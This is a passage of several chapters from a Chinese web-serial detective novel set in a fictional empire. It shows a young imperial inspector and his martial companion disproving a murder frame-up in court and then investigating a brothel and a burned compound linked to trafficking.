凌信挑着眉,走过去蹲下,从围栏缝隙里拿回一碗糙米饭,捏起一点,放到嘴里尝了尝:“没下东西,”转头问北寰言,“你吃吗?” 北寰言不做声。 凌信撇撇嘴,把饭碗放下。 没多久,那瘸子从里面出来,一个牢笼一个牢笼的收饭碗。 看见这两个少年牢笼前的饭碗纹丝未动,他只是顿了一下,立即上前,把那两碗饭收起来,把里面的糙米饭,倒到自己胸前挂着的一个脏兮兮的布兜里,收起碗二话不说就走。 凌信趴在栅栏上看着那瘸子身影转个弯消失不见。 没多久,地牢里就有说话声传来,那声音还带着刀套撞着栅栏声音,往北寰言所在的牢房来。 昨夜抓他们的那个领班打着哈欠,来开门:“你们两个出来。” 北寰言站起身,展了展衣衫。 那领班插着腰,歪着嘴,嘴里叼了一根稻草,跟身后的弟兄说笑:“也不知道哪里来的公子哥,进了这里还在这摆谱。” 北寰言没接话,只是望着他,温声问:“是要升堂审案了吗?” 那领班啐了一声把稻草吐掉,吊儿郎当地说:“小公子,一会到了公堂上,可没这么好待遇。怎么样?一会想不想我们兄弟堂棍的时候下手轻点?” 那领班伸出手,来回摩挲。 北寰言面无表情,站直了身子,双手缓缓拢在衣袖里,目光淡然望着他,语气不疾不徐:“我没银子。” 领班大笑:“说出来谁信啊?没钱?你腰封上的那块玉也值不少银子呢!没钱,拿玉来凑合,够我们弟兄喝几杯酒就行。” 说罢跟身边的人挤眼。 凌信在一边抱着手,冷笑:“那可不是喝几杯的价钱,不怕呛死。” 领班哪里见过这样的人? 一个淡然的宛若一块白玉,静静地立在那里,没有任何情绪。 一个嚣张地睨着他,觉得多看一眼都是抬举。 两人一点畏惧之色都没有,这让他如何下得来台? “来人!”领班大怒,“把他们带走!一会咱兄弟好好伺候这两个小爷!” 北寰言从牢笼里出来:“我自己会走。” 跟在领班后面的衙役根本不理,伸手就要去抓北寰言。 还没碰到北寰言的衣角,凌信一脚踹了上去,伸手夺刀,铮然一声刀刃出鞘,转手刀就架在了领班的脖子上。 领班瞬间被逼着后退了好几步,让出道来。眼睛直勾勾地盯着脖子上的刀,一句屁话都不敢多说,生怕这个杀人不眨眼的蓝衣小公子手一滑,送他去见阎王。 北寰言淡然地走过,自顾自往大堂去。 凌信横了一眼这领班,冷哼一声,甩手就把刀还入那倒地跟班的刀鞘里。 力道极大,带着那人往后退了几步。精准度极高,看得三人皆是一愣。 凌信伸手,指了指这三人:“你们三个的命,暂且赊在我这里。回头找你们算!” 说罢便拍了拍身上的灰,跟着北寰言出了大牢。 衙役们哪里见过这么跋扈的人? 好一会才回过神来,追上去。 北寰言走路不快,边走边看这沁春城府衙,修得崭新。 凌信跟上,略微错了一步跟在北寰言身边。 那三个衙役虽然在府衙当差,可他们办案子多是混迹江湖,时间久了多少知道一些江湖规矩。 这短发的蓝衣小公子这个年纪,有这等身手,恐怕确是江湖上哪个名门世家的小公子。 犯了事不跑,在大牢里安静地等了一夜,听到大堂提审丝毫不慌,明显是有备而来。 那领头的衙役心里忍不住直犯嘀咕——这沁春城多少年都没见过这样气场的少年人。而且今晨有人来报案,说一个十四五岁的小姑娘放火烧街。 真是邪门了,这地方怎么忽然会窜出来这么多惹事的小孩? 北寰言走到大堂,见府衙大堂之上坐着一个身着四品绯色官服的人。 那人面相精明,胡子稀疏,双手撑在案牍之上,头顶挂“明镜高悬”巨大匾额。 府衙大堂宽敞明亮,门楣极高。 两侧摆着回避匾额以及八根比北寰言手臂都粗的廷杖。 站在堂下远远看去,坐在堂上的人被整个府衙的排场承托得格外威重。 北寰言到此,看见堂上身着四品官服的沁春城刺史,没有下跪。 堂上之人当即拎起惊堂木就是一下:“大胆刁民,见到本官还不下跪见礼!” 北寰言望着沁春城刺史,缓缓道:“东陵国法,有功名者,可见官不跪。” “功名?!” 在场人听北寰言这么说,皆是一愣。 短暂的安静之后,府衙里爆发出一阵嘈杂。 衙役们指着那个碧衣少年,笑得直不起腰,纷纷道—— “这人怕不是个疯子,想中举想疯了吧?” “笑死我了,这少年看起来顶多十四五岁的年纪,居然说自己有功名加身。” “哎,老大你抓了一个疯子回来啊?这少年看着人模人样的,不曾想脑子不太好使。哈哈哈……” < 7. 南境巡察使 《盛世山河(探案)》全本免费阅读 北寰言脸上挂了淡淡的笑。 他抬眸望着纵尚:“大人说人证物证俱在,那我们便从人证物证说起。” 纵尚不言,听北寰言说。 “敢问大人,人证在哪里?”北寰言问。 纵尚看了一眼站在身边的领班衙役,那衙役上前一步,抱拳说:“小人就是人证。” 北寰言侧目看了他一眼,问:“你看见我杀人了?亦或者,你看见我们杀人了?” 领班衙役愣了一下,立即回道:“当时屋里没有旁人,地上有尸体,只有你们两人在里面,不是你们杀的还能是谁?” 北寰言转过身,看向领班衙役,语气变得重了些:“我问你的是,你看见我们动手杀人了?” 北寰言只是加重了说话语气,就让人感觉他周身展开了一层冰寒的气场。 那气场压着领班衙役,让他下意识地摇了摇头。 北寰言又扫了一眼周围衙役:“你们看见我们动手杀人了?” 衙役们皆是后退一步,纷纷摇头。 北寰言又转身看向纵尚:“既然没有人看见我们动手,何来人证?” 纵尚道:“即便是没看见你们动手杀人,也不能说明你们没杀人。” 北寰言轻笑:“好,这有疑问,我们先按下不说。我们再来说说物证。敢问大人,我们是用什么杀的人?” 纵尚又看向那领班衙役。 领班衙役立即拿出一个用手绢包好的匕首,呈上去,道:“这是我们在现场发现的凶器。” 纵尚把手绢打开,看见里面有一把大约一个巴掌长的双刃匕首。 那匕首小巧,很适合他们这种手脚纤细的少年人拿。 “这物证你有什么话说?”纵尚问。 北寰言道:“我要求验尸。” 合乎情理。 纵尚给领班衙役一个眼神,他们立即去把那女子尸首抬了上来。 北寰言绕着女尸走了一圈,问:“仵作何在?” 一个胡子花白,腰都直不起来,衣着简朴的老汉上前躬身道:“我就是验尸的仵作。” 北寰言作揖一礼:“请您把验尸的结果告诉刺史大人罢。” 那仵作转向纵尚,道:“这女子身高约六尺六,年纪约是二十岁左右。致命伤是脖子上的这道伤口,直接割破气管,流血过多而死。这伤口深越一寸,使用利器者是从右往左下手。惯用右手。” 北寰言问:“您辨得出杀人的凶器应该是什么样的吗?” 仵作盯着伤口看了一会,道:“看伤口,这凶器应该是一把比较锋利的东西。刀、剑、匕首一类的。” 北寰言点头。 纵尚望着北寰言,拎着手里的匕首:“你还有什么话说?” 北寰言抬眸:“仵作说得都对,这人的死法、凶器都如这位老汉所言。” 纵尚刚要拿惊堂木,北寰言话锋一转:“可,身高不对。” 纵尚一脸疑惑。 北寰言望着纵尚:“大人不明白我说的是什么意思吗?” 他望着纵尚的眼神里带着一点探究的意味。 纵尚眼眸微眯,为求谨慎,从堂上走下来,亲自勘察女尸尸身。 他看见这女尸尸身脖颈处的伤痕,伤痕右侧深而宽,左侧的伤痕,浅而窄,并且左侧的伤痕收口处稍稍往上倾斜。 顿时心中一惊,明白过来北寰言说的身高不对的意思。 这两个少年个子都不高,几乎跟这个女子一般高。 若是他们俩这个身高动手,最后脖颈处的伤痕收手处应该稍稍向下。 因为他们几乎跟这个女子一样高,若是他们俩干的,那么动作收尾的时候,手会不自觉地往下坠。所以收口应该是向下不应该是向上。 若是这伤口收口向上,只能说明,杀这女子的人,个子比这个女子高。 纵尚看明白北寰言的意思,不由得眉宇紧蹙。 北寰言见纵尚已经明白,又道:“而且杀这女子的凶器,应该是一把长剑或者是长刀。匕首是不可能割出这么深的口子的。刺史大人不信,我可以让凌信演示下。” 说完北寰言看向了凌信,凌信走到案牍前,拿起那把匕首,回身就往回避的牌匾割去。只见牌匾上立即出现一道划痕。 凌信割完第一刀,又走到那个衙役身边:“借你刀一用。” 还没等那人反应,凌信就抽出那人别在腰间的刀,在空中划出一道白光,“咔嚓”一声之后,又把刀送回了刀鞘。 这一瞬发生在电光火石之间,所有人都没见到凌信是怎么出招的,那牌匾上就多了一道刀痕。 北寰言让人把那回避的牌匾摘下来看。 果然用匕首划出来的印迹比用刀划出来的印迹要浅很多。而且凌信这个身高,出手收招的时候,两道痕迹收手的时候皆是往下坠。 北寰言双手拢在衣袖里解释:“匕首刀刃短浅,不容易用力。长武器,比如长刀长剑,容易用力。所以我说这女尸脖颈上这么深的口子,并不是匕首造成的。” 北寰言解释完,看向纵尚:“现在刺史大人还要说,这女子是我们杀的吗?” 纵尚无话可说。 北寰言道:“没有人看见我们动手,这在现场捡到的匕首也不是杀这女子的凶器。明显是有人想把这事栽赃到我们身上。” 纵尚听着北寰言的话,缓步走回堂上坐下。 “希望刺史大人明察秋毫,不要了中贼人的奸计,”北寰言眼眸微眯,加重了语气,“免得日后麻烦。” 纵尚还是不太相信这个站在堂下,一身碧衣、容颜灼人、一脸淡然的少年是北寰言。 这人舌灿莲花,三言两语就让自己脱了干系,反倒显得他这个刺史太无能。 “你说这事是有人陷害……” 纵尚深吸一口气,不依不饶:“为什么会有人花这么大心思陷害你们两个十四五岁的少年?!” 纵尚的气势唬不住北寰言。 他微微颔首,目光凛然:“我等已经证明清白,大人为何还要在这件事上一直纠缠不清?难不成——刺史大人与那些想栽赃与我们的人,是一伙的?” “大胆!” 纵尚拎起惊堂木就是一下。 北寰言双手拢在衣袖里,丝毫不怵,眼睛眨都没眨。 纵尚哪里见过这样气场比他还强大的少年? 纵尚的心里一直打鼓。 这人若真是北寰言,他身边那个蓝衣短发少年是御林军左卫。 那他一个翰林院学士,好端端的不在许都待着,跑到沁春城来做什么? 两个十四岁的少年,到底有什么被栽赃陷害的价值? 这少年自证的话,句句在理。 可整件事不符合情理,让他无法判断这人说的是真是假。 正当纵尚踌躇的时候,府衙外有铜锣开道。 他听见外面有人喊:“行人回避——行人回避——” 紧接着, 8. 逛青楼 《盛世山河(探案)》全本免费阅读 纵尚接了旨,擦了擦额头上的汗,小心翼翼地问道:“巡察使……” 北寰言道:“我此次出来巡查,不予声张。纵大人不必这样唤我,人前人后唤我言公子即可。” 纵尚连连点头称,心中忍不住暗道——这还不予声张? 陛下身边的红人拿铜锣敲十三下开道,如帝君亲临。就差没告诉全南境的官员,他派了一个巡察使来,让他们小心伺候着。 看陛下对这少年的重视程度,这些年,官场上流传北寰言身世应该是真的——北寰言是当今正一品亲王安王许安归的儿子。 仔细看这少年好看得不像话。 即便是从画里走出来的人,也没有这般精致与贵气。 这样想来,北寰言真正的身份应该是——安王府世子,当今陛下的侄孙?! 纵尚蹙眉,望着这个身份贵重的翰林院小学士。 北寰言转头对纵尚道:“纵大人给我派几个帮手吧。” 纵尚目光微敛,躬身行礼,让领班衙役过来。 那衙役哪见过这种场面,这少年一出来,圣旨就跟着来了。南境巡察使,是个什么职位他不清楚,但是连纵尚都点头哈腰,一定是什么大官。 他当即就扑到北寰言脚边大哭:“公子饶命啊,小人有眼不识泰山,您千万别跟小人一般见识。” 北寰言睨着他,没说话。 站在一边凌信倒是饶有兴趣地蹲下去,问他:“你叫什么?” 那领班立即磕头:“小将军……” 凌信蹙眉,一脸不悦,显然是不喜欢这个称呼。 领班连忙改口:“凌公子,小人名唤黄海,是府衙领班衙役。这俩是我的副手。” 黄海身后扑过来两个衙役,跪在他身边瑟瑟发抖。 “小人王五。见过二位公子。” “小人李浪。见过二位公子。” 凌信挑眉:“黄海。” 黄海连连点头。 “王五,李浪?”凌信扫了一眼跪在后面那俩。 王五,李浪头都不敢抬,连连磕头。 凌信似笑非笑地问:“听说给你们银子,堂棍的时候可以下手轻点?” 黄海三人吓得豆大的汗珠直往地上滚,话都不敢说,只能磕头求饶。 纵尚当刺史怎么可能不知道黄海这群人什么德行? 衙役贴补少,他们想要养家糊口就要想别的办法弄银子。只是讨个喝酒钱,也没几个子儿,纵尚一直睁一只眼闭一只眼当不知道。 眼下让巡察使撞见了,纵然有一百张嘴也说不清楚。 北寰言一副谪仙、不食人间烟火的模样,一看就是被教养在深宅里不知人间疾苦的公子哥。这样初出茅庐的贵子,是最见不得这些腌臜之事。 纵尚摇头轻叹,给他们三个一个眼神,让他们自求多福。 出人意料的是,北寰言上前,把黄海三人一一扶起,温声道:“日后事多,还要劳烦诸位。” 黄海三人被扶起来,一脸不解,站在一边的景雀却是笑开了。 他从衣袖里掏出一小包碎银子,走上前,递给黄海,声音温和得如三月里春风:“言公子初来乍到,需要各位弟兄帮扶。这些碎银子是言公子赏给你们喝酒的。只要你们做事勤恳,差事办得漂亮,公子还有嘉奖。” 黄海只是愣一下,便回过味来,拿着银子,带着弟兄单膝跪下:“公子有事尽管吩咐!我们兄弟几个万死不辞!” 纵尚在一边看得眼睛直跳。 帝君身边当红内官亲自替北寰言走人情。 这小公子不食人间烟火不打紧,他身边有人懂事就行。 纵尚能混到这个位置也是宦海里摸爬滚打过,如果到这都看不明白北寰言在朝中的地位,他这刺史也不用再当了。 他连忙道:“言公子还没有落脚点的地方吧?如果言公子不嫌弃下官寒舍……” 北寰言望向纵尚:“我住官驿。” 纵尚心下一惊,道:“公子不知,官驿居住条件……” 北寰言不再理会他,转身对景雀道:“有劳景大监先去官驿帮我打理一二。” 景雀欠身:“是,我这就去。” 景雀立即带着仪仗立即去了沁春城官驿。 北寰言转头对纵尚道:“我要去看看雏凤楼。纵大人在府衙里忙罢,不用管我。” 说罢便甩袖,出了府衙。根本不给纵尚巴结他的机会。 纵尚连忙招呼黄海:“跟上,跟上!看看言公子有什么需要,你们跟着点!” 黄海一行人连忙跟上。 景雀走之前留了两匹马给北寰言,北寰言认得那马,是帝君点他为状元的时候赏赐的一匹通体雪白的宝马,只在眉心有一点黑。 凌信的马则是他十二岁中了武状元之后,帝君赏给他的。这马与北寰言的马完全相反。通体黑色,眉心有一点白。 北寰言出门,翻身上马,一甩马鞭,马就小跑起来。 凌信骑马跟在后面。 两人刚走,纵尚立即唤来长史道:“你快去派人通知南境五州同僚以及裴节度使,就说陛下派来巡察使,巡查南境一切事物,让他们早做准备!” * 凌信跟在北寰言后面,道:“你现在去雏凤楼有什么用?都一晚上了,该没得都没了。” 北寰言只说:“去看看。” 他特地给了沁春城这些狗急跳墙的人一晚上的时间,就是要看看这些人是怎么动作的。 雏凤楼,只是一个开始。 他们动作越多,事就越好查。 北寰言驱马,不过半盏茶的功夫就到了西街的雏凤楼。 还没接近雏凤楼,就看见雏凤楼隔壁院子还有人救火。 他坐在马上,看得清楚,这院子占地面积极广,被烧得渣都不剩。 凌信勒马,睁大了眼睛,一声惊呼:“难怪早上那么大动静,原来是烧了这么大一片院子。北寰舞可以啊!” 北寰言只是扫了一眼,眉峰便缓缓蹙在一起:“这不是小舞干的。这地方院子与院子之间隔了那么远,即便是烧,也只能烧一栋,怎么可能全烧了?明显是有人刻意为之。” 北寰言下马,想要进去看看。 黄海一群人没马,只能靠跑的。 等他们气喘吁吁地跟上北寰言的脚步,才看见北寰言立在中街,看雏凤楼 9. 勾引 《盛世山河(探案)》全本免费阅读 这目标暴露的过于明显了。 黄海扣开们,里面守门的小厮打着哈欠来开门,看见是黄海,立即精神了,迎着笑脸道:“什么风把黄总领给吹来了呀?黄大人有段时间没来了!” 黄海侧目看跟在身后的北寰言,强行咳了两声:“少说废话,我找雪娘。” 那小厮哪敢得罪府衙里的人,立即让开道,把人让了进来,自己上楼去喊人。 黄海立即欠身,做了一个请的姿势道:“二位公子里面请。” 白日里再来雏凤楼,这里面少了夜晚的那股阴森。 这里装潢的极其普通,就是一个正常的青楼。 片刻的功夫,一个身子妖娆的女子摇着团扇从楼上下来,她衣衫半挂在如雪的手臂上,极尽风韵,模样标致,眉眼处尽是风流。 雪娘见楼下站着两个十四五岁的俊俏少年,脸上立即显出了魅色:“呦,好俊的两个小公子啊~” 黄海觊觎雪娘美色许久,奈何身上银子不够,次次来都只能打茶围。 每次打茶围的时候都能顺便在雪娘身上卡点油。 如今身边有贵人,只敢看不敢上手。 不想这雪娘看见北寰言这谪仙模样,满脸都是情趣,她摇着团扇,身子一走一摇从楼梯上下来。黄海在一边盯着雪娘身上丰腴看得眼睛都直了。 凌信咬着唇,脸一下子红到了耳根。 他不太敢看,微微侧目。 北寰言则是仰着头,面无表情地盯着这个雪娘。 雪娘从楼上走下来,还没走到北寰言身边,北寰言就闻见她身上散发出的幽香。 雪娘的个子只比北寰言高一点点,她笑着把手搭到北寰言的肩膀上,凑在北寰言耳侧,红唇里吹出一口气,腰肢柔软侧向北寰言,柔声道:“公子是来找奴家的?” 这声音仿佛是银铃一般,在北寰言耳边叮咚作响,好听得紧。 只是芬芳了一下,雪娘就收了身形,笑盈盈地望着北寰言。 她甚懂如何对男子欲情故纵。 北寰言侧目,看着雪娘在他身边来回踱步。 这女子穿着纱衣,半边挂在肩膀上,似乎什么都若隐若现。 凌信觉得这女子身上的香味冲鼻,不自觉地闭了气。 北寰言稳若泰山,淡淡道:“我想上三楼看看。” 雪娘见自己媚术并没成,不由得心下一惊,转尔笑道:“好说,奴家带公子去。” 说罢雪娘便拉起北寰言的手,引着他往楼上去。 北寰言没拒绝,只是眸光淡然地望着雪娘。 这女子的手,光滑如丝绸一般。 北寰言盯着这女子的手,眉宇微蹙,跟着她一起往三楼去。 黄海在一边看得忍不住直拉凌信:“凌公子……言公子这是……” 凌信蹙眉:“哪那么多话?”说着便跟了上去。 雪娘腰肢宛若蒲柳,引着北寰言上楼的时候,还时不时地回头去看他,那狐媚眼睑上缀着些意味不明的情潮。 北寰言望着雪娘,安然如雪。 雪娘牵着北寰言的手,一指按在北寰言的手腕上,这少年看见她脸上没有害羞颜色,心跳更是四平八稳。 即便是见惯了男子的雪娘也疑惑不已——这少年定力这么好? 到了三楼,北寰言便自己去了最西面的屋子。他进了屋子,发觉这屋子里满是裟罗红帐,像是女子闺房。 果不其然,床帐内还躺着一个女子。 那女子显然还没睡熟,听见动静便起身:“妈妈,怎么了?” 那女子撩开床帘,看见外面站了一个漂亮的少年,顿时心花怒放。也不管自己早起只穿着一件肚兜,起身就要去拉北寰言。 凌信哪里见过这种场面,吓得直闭眼。 黄海却是好这口,在一边看得直咽唾沫。 北寰言避让开那女子的手,淡淡地睨了她一眼,也不理会那女子,只是直直地走向窗户,推窗向外看去。 这间房正对的是隔壁被烧的宅子。 站得高看得远。 北寰言在这楼上,看见隔壁院子占地极大,被分成了大概十个院子。每一个院子中央都建的有楼阁。 现在已经被全部烧毁,还能看见一些楼阁有零星的火光。 雪娘见北寰言上三楼是想看隔壁,也摇着团扇走过去,依在窗栏边,道:“太惨了,今晨才烧起来的,还不到一刻钟已经成了火了。奴家还去报了官呢!” 北寰言侧目:“你报的官?” 雪娘点头:“是啊,我们这行当,晚上做生意,白日里睡觉。夜里着火,可不就是只有我们这些晚上做生意的生意人能看见吗?” 王五哐当一下闯进来,大声说:“昨晚去报官的是雏凤楼的雪娘……” 众人回头看着他,王五这才发觉自己是白跑了一趟。 北寰言已经知道了昨晚报官的人是谁了。 黄海一脸歉意地给王五倒了一杯茶水,让他歇会。 只是一句话,北寰言就察觉出这人有问题,侧目又问了一句:“昨夜中元节,你们也营业了?” 雪娘愣了一下,立即反应过来自己说漏了嘴。当即一个团扇轻扇到北寰言胸口,一阵幽香扑鼻而来:“这位小公子说的,我们哪能不听官府的话呀?昨晚日子不好,整个青楼街都停业呢。” 北寰言垂眸,盯着自己胸前的团扇:“看来你不想跟我说实话。” 不等雪娘说话,北寰言厉声道:“黄海,王五,把此人压回府衙。” 黄海、王五早就想上手了,眼下有了机会当然是二话不说就上来擒人,顺手揩油。 雪娘也顾不得自己被人占了便宜,眼眸睁得睁圆盯着北寰言:“小公子哪来的权力拿人?!” 北寰言转身,往屋外走:“就凭你跟我没说实话。” 北寰言带着凌信先走,雪娘不从。 可她到底是个女子怎么挣扎地过两个大汉? 她挣扎得越厉害,黄海与王五揩得越爽。 黄海色眯眯地盯着雪娘,说:“哎,雪娘跟我走吧,这位小公子厉害着呢。他不仅有权力拿你,还有权利拿我们的刺史大人。” “刺史大人?”雪娘眼看着自己逃不脱,顺势就依附在黄海身上,搂着他的脖子,“好哥哥,你快告诉告诉我,这小公子是什么来头啊?” 黄海香玉在怀,瞬间理智全 10. 假兄妹 《盛世山河(探案)》全本免费阅读 北寰舞没看见他眼睛里的那些小羞涩,落落大方地起身过去,把衣服拿来。 时均白搬来几个筐子,把北寰舞围在里面,外面挂着他的长衫,搭成了一个简易的换衣棚。 北寰舞在里面蛐蛐索索地换衣服,时均白守在外面。 “师兄,你怎么知道那宅子里的池水连着外面的水路啊?”北寰舞一边换衣服一边问。 时均白说:“死水养不了鱼,那里面有鱼,而且池水很干净,定然是活水。而且看那宅子风水,那里若是死水,克主……” 说到这里时均白顿了一下。 有一种违和感,忽然出现在脑海。 他总觉得有些事不对劲,却又说不上来哪里不对。 北寰舞换好衣服,从里面出来,活脱脱一个俊俏少年郎。 这姑娘生得雌雄莫辨,穿女子衣服是姑娘,穿男子衣服是少年。 时均白有意避开北寰舞的目光,把她换下来的湿衣服,卷好拧干。 “眼下我们要去哪里?”时均白一边拧水一边问。 “自然是去找哥哥。”北寰舞辨了辨方向,指着东方说,“这边,去官驿。他应该在官驿里等着我们。” * 北寰舞跟时均白赶到官驿的时候,北寰言与凌信正好坐在桌子前准备用早饭。 北寰言五岁的时候就被送到许都临太傅府上开蒙,期间没怎么回过暮云峰。时均白是十岁以后才去暮云峰学艺,他没见过北寰言。 时均白看见北寰言模样的时候愣了一下,这才发觉北寰言与北寰舞是双生子。 两人长得一模一样。 北寰言一身碧衣长衫端坐在那,看向北寰舞,顿时声音变得低沉:“怎么头发湿了?” 北寰舞摸了一下鬓边湿漉漉的头发,也不管。 两下蹦到北寰言身边,拉着时均白,跟北寰言介绍:“这是师兄,时均白。师兄,这是我哥,北寰言。这是凌信,凌师叔的儿子。” 时均白与北寰言凌信一一见礼之后,全部都入了座,一起吃早饭。 北寰舞拿起一个馒头,咬了一口,喝了一口粥,说:“哥,雏凤楼问题大得很。” 北寰言不置可否,可他吃饭的时候规矩比北寰舞好太多。 他吃东西的时候不说话,拿筷子用勺子都不碰碗,这是宫里嬷嬷教导出来的。 他安静地听着北寰舞叽叽喳喳。 北寰舞一边拿着筷子指指点点,一边说:“你不知道,雏凤楼不是问题最大的,隔壁是问题最大的地方!我们俩昨天晚上……” 北寰舞把她与时均白昨天晚上的遭遇简单说了一遍,包括时均白花了五万两白银拍她初夜的事。 只是隐去了他俩同床躲搜查。 北寰言听出她说的话有问题,抬眸看了北寰舞一眼。 北寰舞被北寰言盯得心虚。 下一刻北寰言把目光落在时均白身上,见他跟凌乐看见雪娘一样,浑身上下红了透,基本就还原出昨天晚上他俩到底干了什么才能躲开搜查。 北寰言不是多事的人,见北寰舞不想提这茬,即便是猜到了也没多话。 只是静静地听北寰舞继续往下说:“我俩快天亮的时候,在那楼里放了一把火,然后跳池塘,走水道,从护城河里跑出来了。” 北寰言用完饭放下筷子:“雏凤楼隔壁的院子,大约有十栋楼,全烧了。” “全部?!”北寰舞惊得站起来。 北寰言点头。 “不可能啊?”北寰舞说,“我们放火没多久跑出来,火就被扑灭了吧?” 北寰舞看向时均白,寻求佐证。 时均白点头:“确实没烧多大。” “你们是什么时候放火跳河逃走的?”北寰言问。 北寰舞想了想,回答:“大约是子时前后。” 凌信嗯了一声:“子时?” 时均白肯定点头。 北寰言目光微沉。 确实是有人故意烧了那楼。 那楼有十栋房子,其中一栋房子里面做的是买卖幼女的生意。 其他…… “你们子时就跑出来了,为什么现在才来找我?”北寰言问。 北寰舞说:“我们当然是想看看那楼里还有什么蹊跷啊。就在护城河里守了一夜。” “发现什么了?”北寰言问。 北寰舞摇头。 时均白沉默半晌,道:“很奇怪,那宅子起火的时候,里面没有一个人跑出来。” “什么意思?”北寰言蹙眉。 时均白回答:“师妹在护城河里守着,我去前面守着,没看见有人从里面跑出来。那一晚上明明有很多达官显贵在里面。” “嗯嗯!”北寰舞连连点头,“哥,你不知道!隔壁院子奇怪得很,我跟师兄粗略摸了下,你知道吗?那院子每一间房子都有很多机关!我们不知道那些机关都是干什么,也不敢随便触碰。如果那院子还没被烧就好了,你只要带兵去围了那宅子,让我们光明正大进去摸那些机关,或许会有一些头绪。” 北寰言所有所思—— 看来雏凤楼隔壁的楼全部被烧毁,是因为那宅子里有太多的机括秘密。 那晚,北寰舞与时均白在外面守了一夜,没看见人,恐怕也是因为去参加那场盛宴的人,从雏凤楼隔壁的那个院子里走某种机关密道,离开了那座院子。 所以,这事的关键问题还是在那个雪娘身上。 她那前后矛盾的话,无异于是告诉他,昨晚雏凤楼隔壁的院子是营业的,而她就在那里面,所以才会说出那么理所当然的话来。 北寰言倏地起身要走,想了想又退回来,手指沾茶水,在桌上写了几笔给北寰舞与时均白看。 北寰言敲了一下桌子,说:“你们俩去查这个去哪了。顺便去城里的茶楼,酒馆,客栈走一走,听一听,看看最近,市井聊的最多的事情是什么。” 北寰舞点头。 北寰言朝着时均白一礼:“师兄,小舞就拜托你照顾了。我虽然不知道这沁春城背后到底藏着什么,可凭直觉也知道这事很危险。还请师兄跟小舞一起行动的时候事事小心谨慎。” 时均白立即起身,跟北寰言还礼:“师叔让我下山来,就是为了接应你们。我省得的。师妹就暂且由我照顾,你放心。” 北寰舞一脸不高兴,在一边踢着地,小声嘀咕:“谁要你照顾了。” 北寰言看向北寰舞,拿出兄长的姿态,对她道:“小舞,你与时师兄万事小心。” “哦。”北寰舞应下。 北寰言走之前看了一眼在一边上伺候的景雀,见没有外人问:“景叔不回许都去吗 11. 击鼓 《盛世山河(探案)》全本免费阅读 北寰舞能感觉到他浑身肌肉僵硬,拉着他手一边走一边道:“昨日你与我开玩笑的时候,怎么不见这般矜持?” 时均白心道,那能一样吗? 哪个女子也不会主动把他往被子里拉,也不会与他有如此亲密接触啊? 他还没有男欢女爱的想法,只是跟北寰舞过了一夜,总觉得自己有点不太正常。 每次看见北寰舞笑,他都忍不住回想昨天夜里香艳的一幕。 时均白在心里唾骂自己是个畜生。怎么能对还没及笄的小姑娘生出这等龌龊的想法? 可他越这样想,越无法正视北寰舞。 北寰舞没察觉时均白的心思,只是拉着他一路买了许多吃食。 “兄长!”北寰舞回头看时均白,指着前方,“前面有杂耍……” 时均白伸手把北寰舞拉过来:“你走路看路!” 北寰舞被时均白护在怀里,两人看着马车吱吱呀呀缓缓驶过。 时均白忍不住喝道:“好好走路。” 北寰舞再抬眸的时候,眼睛带了红潮,可怜巴巴地望着时均白:“兄长凶我。” 时均白心脏像是被什么击中了一般,先是停了一下,而后疯狂跳动。 他刚想去哄北寰舞,只见北寰舞再抬头的时候给他做了一个鬼脸,人洒脱地跑了。 时均白无语。 他忍不住想,北寰言是怎么对付他这个妹妹的? * 两人在街上闲逛。 北寰舞看着风车去摸摸,看见花灯也要去摸一下。看见糖人想买,看见玉萧想要。 关键是她只看不买,还老问价钱。 时均白实在忍不了,把她拉到一边:“你不买,能不能别搞得一副你很想要的样子?” 北寰舞白了他一眼:“本姑娘缺钱吗?不,本姑娘享受的是逛街的快乐。” 时均白心道,逛街哪有快乐,腿都快逛麻了。这小姑娘哪来的这么多力气,一路蹦蹦跳跳走这么远,还能这么精神。 “师妹……” “叫我妹妹。”北寰舞纠正。 时均白无奈拉住她:“你别再逛了,我逛不动了。” 北寰舞一脸嫌弃:“你到底行不行?” 时均白不想跟她争论他行不行的问题,指着边上茶楼说:“我们上去喝口茶,休息一会,不然我真的能累死。” 北寰舞蹙眉,凑到他身边,小声问:“你到底是怎么过时家七层塔的?体力这么差!” 时均白反驳:“我过那塔也不用一直溜达啊!” 北寰舞还没逛尽兴,但看时均白是实在逛不动了,就往一边茶楼去。 这茶楼里不仅是喝茶的地方,还有人说书。 两人上了二楼雅间,问小二要了一壶茉莉花茶,便坐下歇脚。 北寰舞饶有兴趣地趴在围栏上,看着楼下台子上说书老汉讲故事。 那老汉讲的是鬼故事。 说沁春城只要到了夜晚,护城河边就能听见女子哭声。 那声音有蛊惑人心的作用,经常有一些行夜路的男子被那哭声引过去,然后被河里的红衣水鬼拉进河里。 运气好的可以逃脱,运气不好的就只能溺死在河里。 那老汉讲得绘声绘色,说是一个小秀才遇见的奇事。 讲得时候还时不时发出奇怪的声音,吓得下面喝茶的人一阵喧哗。 北寰舞听着没意思,回身端起茶杯喝了一口茶:“我只当是什么呢。我在河里泡了一晚上也没见河里有女鬼。也不知道编个像样的故事。” 时均白倒是听得入神,没接北寰舞的话。 北寰舞拿手在时均白眼前一晃:“这故事你也信?” 时均白说:“不是要搜索最近市井上流传的消息吗?” “这也算?”北寰舞指了指台下。 “当然。”时均白似是想到了什么,觉得这消息有意思。 北寰舞撇了撇嘴。 搞不明白他在想什么。 * 北寰言跟凌信两人还没到府衙,就听见府衙方向传来敲登闻鼓的声音。 看热闹的人群里三圈外三圈把府衙门口围了个结实。 北寰言与凌信上了府衙对面二楼的茶馆,才看见是一个女子在敲府衙门口的登闻鼓。 那女子个子不高,穿着还算整洁。年纪看上去二十五六,登闻鼓架得高,她敲着很吃力。 好一会儿,王五跟李浪才从府衙里出来,看见是个女子敲鼓,当即烦得不行,没好脸色问道:“何事?” 那女子跪下,连连给王五李浪磕头:“二位官爷,我要告状!” 王五李浪一脸不耐烦:“告状找讼师写诉状来!你知不知道敲登闻鼓者先要受堂棍十杖?!” 那女子说着便哭起来:“小女子身无分文哪来的钱请讼师写诉状?只要老爷们接了小女的状,小女就算挨十棍子也认了!” “嘿?!”王五说着便要上去拉人。 李浪烦周围这些围观看热闹的百姓,张嘴就要赶人,目光乱瞟之余看见北寰言与凌信站在府衙对面二楼茶馆里,静静地望着他们。 李浪连忙去拉王五。 王五瞪了他一眼:“干嘛?!” 李浪让他看对面二楼茶馆,王五不耐烦地看了一眼,瞬间没了脾气。 他立即好声好气把那女子扶起来,说:“我这就去回禀大人。” 说完一路小跑进了府衙。 纵尚在看各地呈报上来的税银,王五进来就跪地回禀:“大人,外面有女子敲登闻鼓。” 